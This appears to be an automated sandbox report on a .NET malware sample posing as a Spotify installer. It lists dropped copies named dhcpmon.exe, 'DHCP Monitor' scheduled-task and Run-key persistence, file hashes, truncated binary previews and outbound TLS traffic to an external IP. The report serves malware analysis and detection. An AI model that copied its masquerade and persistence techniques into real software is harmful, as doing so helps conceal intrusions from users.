NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:46:09	API Interceptor	957x Sleep call for process: FYrMKmDjFi.exe modified
02:46:12	Task Scheduler	Run new task: DHCP Monitor path: "C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe" s>$(Arg0)
02:46:12	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DHCP Monitor C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
02:46:13	Task Scheduler	Run new task: DHCP Monitor Task path: "C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe" s>$(Arg0)
02:46:24	API Interceptor	2x Sleep call for process: dhcpmon.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.7972781240407745
Encrypted:	false
SSDEEP:	192:nDCvN8saQ7yVjRnpx5D/2AV3MGkPzr91+QqMT0U2/JT0JN7KaeLqc:nDC18sd7ejRpxZ13M9HH5nT0UUKN7Km
MD5:	F76BC0E1DD77808D3668B3A169155DEC
SHA1:	D4770DDFA3BFF74A0B9C00D6ACECC87D60212FE1
SHA-256:	34ACD51DF743B093C9EDA93EBF46DB0095FE2BDD4EE58D18C65E8914790F337D
SHA-512:	88339524423173AC21397E8C005F95202CFF111130A139E8268C9FDC3302748FD818C8990062DD2B5FA07D3DC9AD6CC7B4FCC20B3717E7FF1C1F5D982A795AEC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k................0..............8... ...@....@.. ....................................@..................................8..O....@..\....................`.......8............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc.......`.......2..............@..B.................8......H.......4#...............7...............................................0..........(....o....~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....~....%-.&~..........s....%.....(...+r...po....o....(....&.r...p...0..$....... ....(.... ....( .....&..(....(!.....................("....0..h.......(....o#......+N.....o$...r...p(%...,4.o&.......+!..........o'...u(.......&.....X......i2...X....i2..........7..I......~((...s)...r

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe:Zone.Identifier Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FYrMKmDjFi.exe.log Download File
Process:	C:\Users\user\Desktop\FYrMKmDjFi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	847
Entropy (8bit):	5.35816127824051
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7a:MxHKXwYHKhQnoPtHoxHhAHKzva
MD5:	31E089E21A2AEB18A2A23D3E61EB2167
SHA1:	E873A8FC023D1C6D767A0C752582E3C9FD67A8B0
SHA-256:	2DCCE5D76F242AF36DB3D670C006468BEEA4C58A6814B2684FE44D45E7A3F836
SHA-512:	A0DB65C3E133856C0A73990AEC30B1B037EA486B44E4A30657DD5775880FB9248D9E1CB533420299D0538882E9A883BA64F30F7263EB0DD62D1C673E7DBA881D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\dhcpmon.exe.log Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	847
Entropy (8bit):	5.35816127824051
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7a:MxHKXwYHKhQnoPtHoxHhAHKzva
MD5:	31E089E21A2AEB18A2A23D3E61EB2167
SHA1:	E873A8FC023D1C6D767A0C752582E3C9FD67A8B0
SHA-256:	2DCCE5D76F242AF36DB3D670C006468BEEA4C58A6814B2684FE44D45E7A3F836
SHA-512:	A0DB65C3E133856C0A73990AEC30B1B037EA486B44E4A30657DD5775880FB9248D9E1CB533420299D0538882E9A883BA64F30F7263EB0DD62D1C673E7DBA881D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe Download File
Process:	C:\Users\user\Desktop\FYrMKmDjFi.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.7972781240407745
Encrypted:	false
SSDEEP:	192:nDCvN8saQ7yVjRnpx5D/2AV3MGkPzr91+QqMT0U2/JT0JN7KaeLqc:nDC18sd7ejRpxZ13M9HH5nT0UUKN7Km
MD5:	F76BC0E1DD77808D3668B3A169155DEC
SHA1:	D4770DDFA3BFF74A0B9C00D6ACECC87D60212FE1
SHA-256:	34ACD51DF743B093C9EDA93EBF46DB0095FE2BDD4EE58D18C65E8914790F337D
SHA-512:	88339524423173AC21397E8C005F95202CFF111130A139E8268C9FDC3302748FD818C8990062DD2B5FA07D3DC9AD6CC7B4FCC20B3717E7FF1C1F5D982A795AEC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k................0..............8... ...@....@.. ....................................@..................................8..O....@..\....................`.......8............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc.......`.......2..............@..B.................8......H.......4#...............7...............................................0..........(....o....~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....~....%-.&~..........s....%.....(...+r...po....o....(....&.r...p...0..$....... ....(.... ....( .....&..(....(!.....................("....0..h.......(....o#......+N.....o$...r...p(%...,4.o&.......+!..........o'...u(.......&.....X......i2...X....i2..........7..I......~((...s)...r

C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\FYrMKmDjFi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\dhcpmon.exe Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.7972781240407745
Encrypted:	false
SSDEEP:	192:nDCvN8saQ7yVjRnpx5D/2AV3MGkPzr91+QqMT0U2/JT0JN7KaeLqc:nDC18sd7ejRpxZ13M9HH5nT0UUKN7Km
MD5:	F76BC0E1DD77808D3668B3A169155DEC
SHA1:	D4770DDFA3BFF74A0B9C00D6ACECC87D60212FE1
SHA-256:	34ACD51DF743B093C9EDA93EBF46DB0095FE2BDD4EE58D18C65E8914790F337D
SHA-512:	88339524423173AC21397E8C005F95202CFF111130A139E8268C9FDC3302748FD818C8990062DD2B5FA07D3DC9AD6CC7B4FCC20B3717E7FF1C1F5D982A795AEC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k................0..............8... ...@....@.. ....................................@..................................8..O....@..\....................`.......8............................................... ............... ..H............text........ ...................... ..`.rsrc...\....@......................@..@.reloc.......`.......2..............@..B.................8......H.......4#...............7...............................................0..........(....o....~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....(...+~....%-.&~..........s....%.....~....%-.&~..........s....%.....(...+r...po....o....(....&.r...p...0..$....... ....(.... ....( .....&..(....(!.....................("....0..h.......(....o#......+N.....o$...r...p(%...,4.o&.......+!..........o'...u(.......&.....X......i2...X....i2..........7..I......~((...s)...r

C:\Users\user\AppData\Local\Temp\dhcpmon.exe:Zone.Identifier Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\tmp563.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	5.129988336091443
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0agxtn:cbk4oL600QydbQxIYODOLedq3Bgj
MD5:	A170AC1F7345F85FA69454565B87B4DD
SHA1:	F530920B8BC3E6E8DFE1C0A25DBD8D64E9219F30
SHA-256:	FF59793DB8DB7304CAFF3655A119B49CA777FA1D091E4A4985B18FAD82C3BD7E
SHA-512:	A03F665DF8B6BB3781945C75BAAE22C5DC3EA9C48F05D6FE1A003EC33C671A5072A0959CC4A391EEA43B9D90392AC49D2267F22D49DAD595581727C21E1541A5
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Local\Temp\tmp8B0.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1310
Entropy (8bit):	5.109425792877704
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0R3xtn:cbk4oL600QydbQxIYODOLedq3S3j
MD5:	5C2F41CFC6F988C859DA7D727AC2B62A
SHA1:	68999C85FC7E37BAB9216E0099836D40D4545C1C
SHA-256:	98B6E66B6C2173B9B91FC97FE51805340EFDE978B695453742EBAB631018398B
SHA-512:	B5DA5DA378D038AFBF8A7738E47921ED39F9B726E2CAA2993D915D9291A3322F94EFE8CCA6E7AD678A670DB19926B22B20E5028460FCC89CEA7F6635E7557334
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:u6utn:uttn
MD5:	6F26770C36EBAF9C420AA91DEC91F4D2
SHA1:	98F8A41BC8827FC05EFC1F7AF54C5B5997BF03D2
SHA-256:	EE62F16CCA02339CA023FB93F3662A07A4BE720BBE161D7AC9757899C8200835
SHA-512:	7D169972021AB51C63DFC7B5EFED39A62AF277C93CA3F8D3E3AE74B5A96CC2CC2303BFB2B0A00161EE210D409C0C34568802F879523A4A0C2915223DF0E31C64
Malicious:	true
Reputation:	unknown
Preview:	..I.e..H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\task.dat Download File
Process:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.563721875540868
Encrypted:	false
SSDEEP:	3:oNWXp5cViE2J5xAIc:oNWXp+N23fc
MD5:	4310A7776F92BA711B75F54428F89BDD
SHA1:	8E5A27FD5EE120504DBD364EBCAFCE2747F287DF
SHA-256:	709BF5FDB09F92430CFEF9D69B35F5BE1A2807F0C5D8351989CD9EDD2FE29704
SHA-512:	EC4BFD6A1FDE91127F9BA8FA9FF72522B005CC32FF51AA8798949ECDEEF1DDBDB26F05899DC70B0C0A0E351232F0F91DB803BE81048BDC6EA0E92A6E22A876C5
Malicious:	false
Reputation:	unknown
Preview:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.7972781240407745
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	FYrMKmDjFi.exe
File size:	13312
MD5:	f76bc0e1dd77808d3668b3a169155dec
SHA1:	d4770ddfa3bff74a0b9c00d6acecc87d60212fe1
SHA256:	34acd51df743b093c9eda93ebf46db0095fe2bdd4ee58d18c65e8914790f337d
SHA512:	88339524423173ac21397e8c005f95202cff111130a139e8268c9fdc3302748fd818c8990062dd2b5fa07d3dc9ad6cc7b4fcc20b3717e7ff1c1f5d982a795aec
SSDEEP:	192:nDCvN8saQ7yVjRnpx5D/2AV3MGkPzr91+QqMT0U2/JT0JN7KaeLqc:nDC18sd7ejRpxZ13M9HH5nT0UUKN7Km
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k................0..............8... ...@....@.. ....................................@................................

File Icon


Icon Hash:	8e65656565a5a580

Static PE Info

General
Entrypoint:	0x4038fa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xA3F46BEC [Thu Mar 1 20:37:00 2057 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38a8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x145c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x388c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1900	0x1a00	False	0.538912259615	data	5.53083559225	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x145c	0x1600	False	0.484907670455	data	5.87042815821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x4100	0xd90	data
RT_GROUP_ICON	0x4ea0	0x14	data
RT_VERSION	0x4ec4	0x396	big endian ispell hash file (?),
RT_MANIFEST	0x526c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright (c) 2021, Spotify Ltd
Assembly Version	1.1.68.632
InternalName	ConsoleApp7.exe
FileVersion	1.1.68.632
CompanyName	Spotify Ltd
LegalTrademarks
Comments	SpotifyInstaller
ProductName	Spotify
ProductVersion	1.1.68.632
FileDescription	SpotifyInstaller
OriginalFilename	ConsoleApp7.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/12/21-02:46:13.533312	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	52806	8.8.8.8	192.168.2.3
10/12/21-02:46:32.528847	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	56009	8.8.8.8	192.168.2.3
10/12/21-02:46:50.606301	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	55102	8.8.8.8	192.168.2.3
10/12/21-02:47:09.644281	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	63297	8.8.8.8	192.168.2.3
10/12/21-02:47:46.962099	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	58540	8.8.8.8	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2021 02:46:06.418335915 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.418394089 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:06.418515921 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.455240011 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.455269098 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:06.565289974 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:06.565462112 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.568934917 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.568952084 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:06.569355965 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:06.616956949 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.957930088 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:06.999134064 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114314079 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114378929 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114456892 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114465952 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114554882 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.114607096 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.114623070 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139508009 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139597893 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139710903 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139724016 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139743090 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139766932 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139786005 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139815092 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139838934 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139867067 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.139893055 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139925957 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.139935970 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165218115 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165290117 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165324926 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165338993 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165359020 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165375948 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165400028 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165420055 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165431976 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165443897 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165461063 CEST	443	49746	31.14.69.10	192.168.2.3
Oct 12, 2021 02:46:07.165467024 CEST	49746	443	192.168.2.3	31.14.69.10
Oct 12, 2021 02:46:07.165481091 CEST	443	49746	31.14.69.10	192.168.2.3
